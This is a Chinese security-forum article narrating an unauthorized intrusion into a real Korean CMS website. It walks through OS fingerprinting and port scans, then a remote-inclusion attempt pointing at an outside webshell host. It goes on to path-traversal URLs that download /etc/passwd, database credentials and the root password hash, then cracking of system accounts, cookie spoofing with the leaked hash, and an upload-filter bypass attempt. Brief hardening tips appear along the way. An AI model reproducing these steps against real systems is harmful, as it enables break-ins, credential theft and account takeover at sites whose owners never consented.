首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>入侵实例>文章内容
对韩国某CMS的一次安全检测
来源:51CTO.com 作者:安天365 发布时间:2008-12-23  

某日,一个做网页设计的朋友发给我一个站(www.ba******.net),问我感觉如何?该网站设计漂不漂亮?明明知道我在艺术方面不太擅长,尤其是美感设计,还发过来,不过既然发过来了,也要上去看看,打开网站后,感觉还是蛮简洁的,如图1所示,就看看它的安全性如何。

 

 
图1韩国某网站CMS界面

一、服务器信息收集

1.获取IP信息

直接打开DOS提示符操作窗口,使用ping命令,对网站www.b*******.net进行ping操作,如图2所示,获取IP地址为“221.***.**.21”,且无丢包现象,延迟时间也较少,呵呵,感觉韩国的计算机就是爽,速度快,硬件配置也高。

 

 
图2获取网站IP地址

安全小知识

(1)TTL术语

TTL是Time to Live对缩写,它是IP协议包中的一个值,它告诉网络路由器包在网络中的时间是否太长而应被丢弃。有很多原因使包在一定时间内不能被传递到目的地。例如,不正确的路由表可能会导致包的无限循环。一个解决方法就是在一段时间后丢弃这个包,然后给发送者一个报文,由发送者决定是否要重发。TTL的初值通常是系统缺省值,是包头中的8位的域。TTL的最初设想是确定一个时间范围,超过此时间就把包丢弃。由于每个路由器都至少要把TTL值减一,TTL通常表示包在被丢弃前最多能经过的路由器个数。当记数到0时,路由器决定丢弃该包,并发送一个ICMP报文给最初的发送者。

TTL是指定数据报被路由器丢弃之前允许通过的网段数量。通常是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。

使用PING时涉及到的 ICMP 报文类型

一个为ICMP请求回显(ICMP Echo Request)

一个为ICMP回显应答(ICMP Echo Reply)

(2)TTL值

TTL 字段值可以帮助我们识别操作系统类型,下面是一些常见系统的TTL值:

(1)UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255;

(2)Compaq Tru64 5.0 ICMP 回显应答的TTL字段值为64;

(3)微软 Windows NT4 WRKS、Windows NT4 Server、Windows 2000、Windows XP操作系统 ICMP 回显应答的 TTL字段值为128;

(4)微软 Windows 95、Windows98、Windows98SE、Windows ME操作系统ICMP 回显应答的TTL字段值为 32;

(5)一些特殊情况下,其TTL值会有一些不同:

LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64

FreeBSD 4.1, 4.0, 3.4;Sun Solaris 2.5.1, 2.6, 2.7, 2.8;OpenBSD 2.6, 2.7;NetBSD;HP UX 10.20等等ICMP 回显应答的TTL字段值为255;

从返回的TTL值中,可以初步判定目标主机是linux系统。

防护技巧

在一般意义上可以通过“ping 主机地址”或者“ping 网站域名地址”来获取TTL值,通过TTL值来判断网站所在主机的操作系统类型。一些防护严格的系统会自定义TTL值,从而让入侵者无法通过TTL值来获取操作系统的类型。TTL值的注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255。例如本人的计算机的TTL值就是 127,如图3所示,嘿嘿,从常见的TTL值你就无法知道!

 

 
图3 自定义TTL值

注意:

修改TTL值后需要重启计算机才能生效,不同计算机操作系统可能修改的TTL值地方不一样,一般情况下是去注册表
“HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet001\Services\Tcpip\Parameters”下修改DefaultTTL的值,如果是在 “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters”中则需要新建“DefaultTTL”键,且类型为DWORD。

2.获取服务器架构信息

通常通过在浏览器中输入“http://221.139.***.21/antian365/”地址,其中“antian365”为不存在的目录,从返回出错的信息中来判断服务器架构信息,如图4所示,可以看出来系统使用的是apache1.3.36,因为小站根本是使用免费的Mysql数据库,所以可以确认是典型的LAMP架构。

 

 
图4获取服务器架构信息

说明:

(1)http://221.139.***.21/antian365/如果是在IE浏览器输入,一定要把显示友好HTTP错误信息去掉,具体操作:选择IE浏览器--工具--Internet选项;在高级选项框中将“显示友好HTTP错误信息”的勾选去掉,这样才能显示详细的错误信息。

LAMP架构网络小知识

LAMP是一种Web网络应用和开发环境,基本上是四种开源软件技术的组合,它们组合在一起产生了一个功能强大的应用服务平台,使用却相对来说比较简单和容易。

LAMP是基于Linux,Apache,MySQL和PHP的开放资源网络开发平台,这个术语来自欧洲,LAMP名字取自每个程序的第一个字母,也有人认为LAMP是一种Web网络应用和开发环境,是Linux, Apache,MySQL, Php/Perl的缩写,每一个字母代表了一个组件。其实LAMP这个词的由来最早始于德国杂志“c't Magazine”,Michael Kunze在1990年最先把这些项目组合在一起创造了LAMP的缩写字。

这些组件并不是开始就设计为一起使用的,由于开源和免费,随着越来越多的人使用它,其兼容性不断改善和完善,因此逐渐成为Web应用程序开发的一种架构。在这个架构中每个程序在所有权里都符合开放源代码标准:Linux是开放系统;Apache是最通用的网络服务器;MySQL是带有基于网络管理附加工具的关系数据库;PHP是流行的对象脚本语言,它包含了多数其它语言的优秀特征来使得它的网络开发更加有效。

有时候,开发者在Windows操作系统下使用这些Linux环境里的工具称为使用WAMP,也称为WAMP架构。随着开源潮流的蓬勃发展,开放源代码的LAMP已经与J2EE和.Net商业软件形成三足鼎立之势,并且该软件开发的项目在软件方面的投资成本较低,因此受到整个IT界的关注。有关LAMP的更多知识,可以查看“LAMP架构帖子”http://www.antian365.com/bbs /viewthread.php?tid=2639&extra=page%3D1&frombbs=1

3.探测端口信息

用sfind扫一下服务器,发现只开启21,80端口,如图5所示,其中3306Mysql数据库端口也可以进行探测。

 

 
图5端口信息

之后使用HScan软件扫描Mysql数据库和FTP弱口令,没有结果。看来还是得从web程序入手。

二、Web应用程序安全检测

1.注入测试

用阿D,NBSI等注入工具寻找注入点,没有发现。同时用手工查找,也没有找到,simeon说我的注入比较弱,看来一点不假,呵呵。

2.寻找上传点

http://www.b**.net/ez/bbs.php?table=qna&query=write发现可以发贴子,但并没有文件上传的地方。

3.旁注检测

打开http://www.myipneighbors.com/,同一服务器下一共有114个站点,都是使用相同的CMS,用明小子的DOMAIN批量检测一下注入点和上传漏洞,和预计的结果一样,也没有发现。

说明:

http://www.myipneighbors.com/ 是一个通过IP地址或者域名来获取该IP地址或者域名所在服务器中所存在的其它网站地址。它比明小子的DOMAIN能查询到更准确的数据。

4.包含漏洞检测

没办法,还是再仔细看看www.b****k.net,当浏览到http://www.b****k.net/ez/inc.php?inc=company/sub1_1,这个是不是存在包含漏洞呢?于是测试http://www.b****k.net/ez/inc.php?inc=http://116.23.82.87:81/WebShell,出现错误,如图6所示。

 

 
图6不能远程包含漏洞

虽然没有找到远程包含漏洞,但这里可以暴出网站的绝对路径:/home/ba****.net/public_html/ez/。

说明:

(1)包含漏洞的原因是程序员在使用涉及到的危险函数include、require、include_once和require_once时,未对传入的变时做出过滤。

(2)关于暴出网站绝对路径的修补。因include或require因为找不到包含的文件,所以会显示出错,要屏蔽掉错误显示也很简单,只要在include或require加个“@”就可以了。

6.下载任意文件漏洞检测

手工检测下载任意文件漏洞。目前对于下载任意文件漏洞的检测一般是通过手工进行检测。在浏览到http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1网页时,发现可以单击下载图片,如图7所示。

 

 
图7下载图片

可以通过修改URL地址来下载网站的其它文件,通过观察,URL地址http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg中,file参数直接使用文件名,也许可以下载其它文件,于是在URL地址栏中输入:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=
dat&dtype=up&uid=133&file=20080706012241_4.jpg
(20080706012241_4.jpg为另一张图片)返回一片空白,查看源代码,发现有都是不认识的文字,如图8所示,不能下载其它图片文件。

 

 
图8不能下载

不懂是什么意思。难道用uid参数限制了?还是其它什么的原因。于是重新输入:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现还是一片空白,明明点击可以下载,为什么从地址栏直接输入就不可以下载?哦。这不就是和很多下载站所用的伎俩——防盗链。

说明:

关于防盗链。也就是下载时检查referrer参数是不是来自本站的页面,如果不是,就不可以下载。

7.突破防盗链

突破防盗链方法有很多,可以用asp、PHP、vbs或使用改包NC提交都可以。这里介绍的是一种比较简便的方法,使用Firefox自定义referer插件来突破。首先我们应该先抓包,看看下载时的referrer参数值是什么。

(1)使用LiveHTTPHeaders插件获取referrer参数值

先安装一个firfox抓包插件LiveHTTPHeaders(http://livehttpheaders.mozdev.org/installation.html),打开该地址,然后单击网页链接“Install version 0.14 of LiveHTTPHeaders now”,Firefox会提示进行该软件的安装,如图9所示,单击立即安装即可。

 

 
图9 安装LiveHTTPHeaders组件

注意

由于组件由于对Firefox有版本要求,因此会出现一些组件无法安装的现象,如果出现安装提示警告信息时,一般都可以进行安装。
LiveHTTPHeaders 可以抓取http,https的数据链接,包括get和post,一个很不错的插件。安装好插件后,重启FireFox,打开下载页面,运行 LiveHTTPHeaders抓包(工具->Live HTTP Headers),然后再点击下载,不一会,包就抓好了,查看一下,referrer参数值为http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如图10所示,取得referrer参数值。

 

 
图10 获取referrer参数值


(2)使用RefControl插件构造referrer值

接着到http://www.blogjava.net/baicker/archive/2008/04/08/191485.html安装Firefox自定义referer插件RefControl,同样安装好之后,重启Firefox,运行RefControl,单击“添加站点”按钮,在站点中输入http://www.b****k.net,动作选择自定义,同时输入抓包所获取的referrer值http://www.b****k.net/ez/bbs.php?table=sub1&query=view&uid=133&p=1,如图11所示,然后单击“确定”按钮,使设置生效,到此构造referrer值完毕。

 

 
图11使用RefControl构造referrer参数值


技巧

可以直接Firefox的附加组件来搜索和添加组件。方法是在Firefox中单击 “工具”-“附加组件”,在弹出的附加组件中单击“获取附加组件”,在搜索输入框中输入需要添加到组件名称,然后单击搜索按钮即可查找已经存在 Firefox附加组件,如果找到,单击“查看全部结果”,按照提示安装即可。

(3)下载passwd文件

在Firefox地址栏输入:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012226_4-1.jpg,发现可以下载20080706012226_4-1.jpg文件了,再试试

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=20080706012241_4.jpg,也可以下载20080706012241_4.jpg。我们试试能不能下载/etc/passwd文件,构造URL为:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../../../../../etc/passwd,可以下载,如图12所示,可以下载passwd文件。

 

 
图12下载passwd文件


8.获取系统用户名

使用Editpuls编辑器打开下载的passwd文件,如图13所示,可以查看该服务器上的全部的用户以及密码信息。

 

 
图13 passwd文件内容


说明:

通过查看图片的属性可以,图片在网站的目录为/ez/bbs/table/pic2/upload/,结前面暴出的网站绝对路径,可知道图片在服务器中的绝对路径为/home/b****k.net/public_html/ez/bbs/table/pic2/upload/,所以需要8个“.. /”才能返回根目录。

/etc/passwd 文件是linux系统的主要文件之一。该文件中包含了所有用户登录名清单;为所有用户指定了主目录;在登录时使用的 shell 程序名称等。该文件还保存了用户口令;给每个用户提供系统识别号。

到这里,就可以通过phpmyadmin拿webshell了,但我还是想继续检测程序漏洞。

9.破解系统密码

使用LC5导入Unix shadow file文件,即刚才下载的passwd文件,导入后可以看到系统共有295个账号。如图14所示,可以进行破解。

 

 
图14破解Linux系统帐号

10.继续检测web程序漏洞

继续通过下载漏洞获取其它文件,在浏览器中输入构造好的地址:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../ez/bbs.php来下载bbs.php文件,将bbs.php文件下载到本地后,通过查看源代码,得到连接数据库的文件为conf/db_info.php,于是构造数据库文件下载地址:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../conf/db_info.php下载数据库连接文件,得到连接数据库的用户名和密码:111111111111111111111

$DB[kind] = "mysql";
$DB[host] = "localhost";
$DB[name] = "b*******";
$DB[user] = "banseuk";
$DB[pass] = "se********";
?>

于是登录phpmyadmin(221.***.**.21/mysql)管理数据库,准备查找出网站后台的用户名和密码(有时并不一定能找到 phpmyadmin的地址),使用用户名“b*******”以及对应密码“"se********"”进行登录,登录Phpmyadmin后发现,该网站管理员表kimsmall7_gadmin竟然是空的,如图15所示。

 

 
图15管理员表为空


或者说这个不是管理员表?于是先下载登录处理文件看看,构造login文件下载地址:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../lib/login.php,将其下载到本地,查看一下代码,原来只有ROOT这个用户可以登录,但ROOT用户的密码不在数据库中,而在conf/mkpass.php文件中,而且使用crypt函数加密,如图16所示。

 

 
图16 查看mkpass.php文件代码


说明:不过有的网站是可以有后台登录的,其后台登录处理代码如图17所示。

 

 
图17有管理后台代码


不过如果我没找不到phpmyadmin的地址,也无法查出管理员的密码。而且就算登录了后台管理,也没有可以利用的地方。
于是尝试root登录,看看有没有可以利用的地方。先下载root密码文件

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=../../../../conf/mkpass.php
得到密码如下:22222222222222222222

$ROOT_PASS = "mldzOtDVllwqw";
?>

这是使用了PHP的crypt加密函数加密的,要解密还是比较难,所以就不打算解密了。

11.cookie欺骗成功

先看看可否使用UPDATE更新管理员密码,先看一下源代码:33333333333333333333

if ($MB_ID == 'ROOT' && $MB_PW != '')
{
include '../conf/mkpass.php';
$crypt_key = "ml5300a";
$INPUT_PASS = crypt($MB_PW,$crypt_key);
if ($INPUT_PASS == $ROOT_PASS)
{
setcookie("MyLootPass" , $ROOT_PASS ,  0 , "/");
getTargetLink("../index.php","","");
} else { echo""; }
}

这个不是可以cookie欺骗吗?于是打开桂林老兵的mybrowse,打开网站后,点击自定义cookie,把cookie修改为:

MyLootPass=mldzOtDVllwqw;PHPSESSID=ae92f7f6cd637f942071b67b8f4881ad,然后刷新一下页面,显示已登录(看左上角),如图18所示。

 

 
图18 cookie欺骗成功


12.得到前台可上传页面

这个是前台管理员,在前台管理中,有发公告的地方,并可以上传文件,如图19所示。

 

 
图19 有上传可利用管理页面


13.上传php文件受限

后台对文件类型做了一些限制,当我选择php文件时,却弹出一个对话框,如图20所示。

 

 
图20限制上传php文件


在没有提交上传的时候,就跳出来对话框,说明肯定本地使用Javascript做了验证,所以可以自己构造一个上传表单来突破,于是先下载上传处理文件upload.php文件。构造其地址:

http://www.b****k.net/ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=
../../../../bbs/lib/module/upload/upload.php
,下载到本地后打开该文件查看其源代码:4444444444444444444

if ($action == "upload")
{
if(is_uploaded_file($HTTP_POST_FILES[upFile][tmp_name]))
{
$upFile_Ext = explode('.' , $HTTP_POST_FILES[upFile][name]);
if (strstr("html,php3,inc,asp,jsp" , $upFile_Ext[sizeof($upFile_Ext)-1]))
{
echo "";
exit; 
}
$filesize = $HTTP_POST_FILES[upFile][size];
……(略去无关代码)
if (is_file("../../../table/$table/upload/".$HTTP_POST_FILES[upFile][name])) {
$upname = date("His")."_".$HTTP_POST_FILES[upFile][name];
move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name],
"../../../table/$table/upload/".$upname);
}
else {
$upname = $HTTP_POST_FILES[upFile][name];
move_uploaded_file($HTTP_POST_FILES[upFile][tmp_name],
"../../../table/$table/upload/".$upname);
}
}

好象可以上传PHP文件的,先构建一个上传表单,代码如下:


"http://www.b****k.net/ez/bbs/
lib/module/upload/upload.php
" target='Tmp_Up_Iframe' >
(INPUT type=hidden value=upload name=action)
(INPUT type=hidden value=sub1 name=table)
(INPUT type=hidden value=200 name=MaxUp_Size)
(INPUT type=file name=upFile)
(INPUT type=submit value=提交 name=SubmitBtn)

用时将( ) 改为< >

另存为upload.htm,再次选择一个php文件上传试试,发现并不能上传,如图21所示。

 

 
图21还是不能上传php文件

于是上传一个gif.phP文件(linux服务器是区分大小写的)。上传成功后,用IE浏览器浏览(不要用Firefox,不然图片也会变成下载)http://www.b****k.net/ez/bbs/table/sub1/upload/gif.phP,但发现是出现下载页面,服务器不解释。如图22所示。

 
图22不解释phP文件
再看一看strstr函数的解释。

语法: string strstr(string haystack, string needle);

本函数将 needle 最先出现在 haystack 处起至 haystack 结束的字符串返回。若找不到 needle 则返回 false。

原来只要文件名后缀包含php3、php、ph、p等类型都不行。没折了,不搞了。

谁知道有什么办法突破,请告知我。

说明:验证个人认为,使用session验证比cookie安全些;还有就是对上传文件格式的验证,一定要在服务器端进行,在客户端验证的话,随便自己在本地构建一个表单就可以轻轻松松绕过了。

三、总结与收获

通过本次对韩国某CMS系统网站进行检测,用到了LiveHTTPHeaders、RefControl插件,通过这些插件来辅助进行安全检查,其效果还是非常明显的,在本次检测中成功进行突破防盗链、进行了cookie欺骗,对php类型的网站安全检查应该是多了一些实际经验。欢迎跟我进行技术探讨,我在antian365.com论坛中的id是N3tl04D。

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·另类网站入侵之一句话木马图片的
·0day批量拿站webshell,挖掘机是
·利用ewebeditor 5.5 - 6.0 鸡肋
·OmniPeek抓包的一点看法
·强大的嗅探工具ettercap使用教程
·Windows系统密码破解全攻略
·破解禁止SSID广播
·XSS偷取密码Cookies通用脚本
·XSS漏洞基本攻击代码
·Intel 3945ABG用OmniPeek 4.1抓
·KesionCMS V7.0科汛内容网站管理
·破解无线过滤MAC
  相关文章
·由PHP168任意文件下载0DAY到服务
·完全渗透台湾大型旅游网
·使用Ophcrack破解系统Hash密码
·网易跨域实现笔记以及顺便发现的
·安全攻防实战:使用winlogonhack
·入侵基于java Struts的JSP网站(
·入侵基于java Struts的JSP网站
·MYSQL注入中load_file()函数的进
·对母校.NET网站的渗透!
·入侵清华大学网站全过程
·入侵复旦大学网站
·如何入侵基于JSP的网站
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved